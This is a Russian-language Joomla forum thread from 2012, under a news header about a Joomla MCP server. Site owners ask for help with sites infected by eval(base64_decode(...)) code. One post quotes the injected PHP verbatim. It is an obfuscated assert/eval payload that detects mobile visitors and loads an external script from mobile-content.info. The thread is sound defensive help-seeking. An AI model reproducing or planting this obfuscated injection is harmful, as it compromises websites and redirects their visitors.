Новости Joomla

👩‍💻 ИИ-админ для Joomla ближе, чем вы думаете: Joomla MCP.

👩‍💻 ИИ-админ для Joomla ближе, чем вы думаете: Joomla MCP.

В февральском номере Joomla Community Magazine в статье Evolving Joomla - Joomla CMS MCP Server: Opening the Door to AI-Powered Administration рассказывается о работе команды разработчиков над внедрением в ядро Joomla MCP-сервера.

Что такое MCP-сервер?
Последние годы всех захватывает бум ИИ-технологий. Появились ИИ-агенты - программы, устанавливаемые на сервер или компьютер, которые получают от вас запрос или задачу в человеческом виде и могут выполнять действия с файлами, ходить по сайтам, создавать сайты, программировать и т.д. Люди используют ИИ-агентов в самых разных ситуациях: от написания и проверки кода (даже там, где язык программирования не знаете совсем) до планирования путешествий и бронирования гостиницы.

ИИ-агенты могут использовать различные программные инструменты по протоколу Model Context Protocol (MCP). Для этого разработчик программы должен внедрить MCP в свой продукт или сервис. Так, например, ваш ИИ-агент может ходить по сайтам через браузер и собирать нужную информацию, управляя браузером через MCP-сервер. Или использовать функционал IDE PHP Storm для написания кода, сбора и отладки ошибок, использовать поиск PHP Storm по кодовой базе, а не простой текстовый поиск по файлам. MCP предоставляет набор функций для полноценного управления программным обеспечением.

В случае с Joomla, сервер MCP может предоставить администраторам следующие возможности:
- Автоматическое создание категорий, материалов и меню на основе карты сайта или PDF-файла.
- Создавайть SEO-оптимизированные заголовки и метаописания в пакетном режиме.
- Обновлять расширения на нескольких сайтах одновременно
- Создание посадочные страницы.

Важно отметить, что сервер MCP не задумывался как функция, доступная только «супер-администраторам». Цель инициативы — создать решение, которое будет простым в настройке, маломощным и доступным для широкого круга пользователей.

В процессе разработки точка входа Joomla (аналогично Site, Administrator, Api, Cli), которая будет работать с Streamable HTTP, необходимым для MCP. Аутентификация пока что предполагается на токенах, но затем планируется создание универсального OAuth-сервера для Joomla.
Фактические возможности MCP — инструменты, ресурсы и подсказки — реализованы в виде плагинов для обеспечения расширяемости. Таким образом ожидаем, что и сторонние разработчики смогут создавать MCP-плагины для внедрения поддержки своих расширений Joomla для работы с ИИ.

@joomlafeed

Вышли релизы безопасности Joomla 6.0.4 и Joomla 5.4.4

Релиз безопасности Joomla 6.0.4 и Joomla 5.4.4

Проект Joomla! рад сообщить о выходе Joomla 6.0.4 и Joomla 5.4.4. Это релизы безопасности и исправления ошибок для серий 5.x и 6.x.

0 Пользователей и 1 Гость просматривают эту тему.
  • 13 Ответов
  • 9948 Просмотров
*

wake

  • Осваиваюсь на форуме
  • 14
  • 0 / 0
Код eval(base64_decode(
« : 24.11.2012, 17:51:06 »
Здравствуйте уважаемые!
В один нехороший день я обнаружил, что 5 сайтов на одном из хостингов не работают. по адресу появляется белый экран и никаких ошибок. в админку не пускает. Почитав форумы, я проверил сайт скриптом ai-bolit, который показал мне наличие вредоносного кода eval(base64_decode( )); в файлах сайтах в огромном количестве.
Почитав по теме этого кода наткнулся на  скрип replace, который позволяет заменить код, но загружая его на сайт, выдается ошибка "Доступ запрещен". Пароль пробовал прописывать и по инструкции и в самом replace.php, но ничего не вышло.
Далее я скачал все сайты на локальный компьютер и принялся заменять код с помощью Notepad++, но данная операция режет мне код во всех файлах, что вызывает полную неработоспособность. после этого я вот написал на форуме. может объяснит как дальше быть.Заранее спасибо ^-^
*

wfedin

  • Завсегдатай
  • 1273
  • 102 / 0
Re: Код eval(base64_decode(
« Ответ #1 : 24.11.2012, 18:33:46 »
ну во первых скачать свою версию джумла и распаковать с заменой, так-же можно с расширениями, а остатки чистим.
*

wfedin

  • Завсегдатай
  • 1273
  • 102 / 0
*

wake

  • Осваиваюсь на форуме
  • 14
  • 0 / 0
Re: Код eval(base64_decode(
« Ответ #3 : 24.11.2012, 19:01:22 »
бекап только 1 сохранился) это мне уроком будет)
*

wake

  • Осваиваюсь на форуме
  • 14
  • 0 / 0
Re: Код eval(base64_decode(
« Ответ #4 : 24.11.2012, 19:02:43 »
почему Notepad++ режет файлы и скрипт replace не работает....
*

icom

  • Давно я тут
  • 830
  • 202 / 4
Re: Код eval(base64_decode(
« Ответ #5 : 24.11.2012, 20:02:32 »
почему Notepad++ режет файлы и скрипт replace не работает....
скрипт replace запускается следующим образом http://ВАШ_САЙТ/replace.php?pas=joomla, если не запускается так, то проверьте права на файл replace.php
но удалять код нужно после того как найдете причину попадания его в файлы, иначе на следующий день этот код опять будет на своем месте
« Последнее редактирование: 24.11.2012, 20:05:48 от icom »
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
*

wake

  • Осваиваюсь на форуме
  • 14
  • 0 / 0
Re: Код eval(base64_decode(
« Ответ #7 : 25.11.2012, 17:34:58 »
а что там надо проверять поскажите !
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Код eval(base64_decode(
« Ответ #8 : 25.11.2012, 18:45:57 »
а что там надо проверять поскажите !
Ну если задаете такой вопрос, то лучше замените на стандартный Joomla.
*

Geks

  • Осваиваюсь на форуме
  • 35
  • 1 / 0
Re: Код eval(base64_decode(
« Ответ #9 : 26.11.2012, 16:11:59 »
Здравствуйте форумчане,
У меня возникла похожая проблема:
В файле index.php шаблона нашел левый код:
Код
<?php
$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");
?>
Удалил его, но через несколько дней опять тоже самое.
Подскажите где лазейка.
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Код eval(base64_decode(
« Ответ #10 : 26.11.2012, 16:50:28 »
Цитировать
Подскажите где лазейка.
у вас на хостинге в любом из файлов
*

Geks

  • Осваиваюсь на форуме
  • 35
  • 1 / 0
Re: Код eval(base64_decode(
« Ответ #11 : 26.11.2012, 16:56:35 »
Обновить Joomla?
Что еще можно сделать?
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
*

wake

  • Осваиваюсь на форуме
  • 14
  • 0 / 0
Re: Код eval(base64_decode(
« Ответ #13 : 27.11.2012, 14:46:23 »
благодарю всех отписавшихся. Удалил код скриптом replace, заново кинул Joomla и восстановил битые файл модулей, плагинов. Один сайт работоспособен уже. Возник вопрос. Как закрыть уязвимость сайта, чтобы впредь такого не повторялось? Надеюсь на ваши рекомендации
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Модификация "eval( base64_decode ())"

Автор nicebit

Ответов: 10
Просмотров: 3369
Последний ответ 24.11.2015, 13:24:39
от winstrool
Вирус на Joomla - скрипт: eval (unescape..

Автор allmomente

Ответов: 9
Просмотров: 6337
Последний ответ 19.08.2009, 20:18:33
от one_more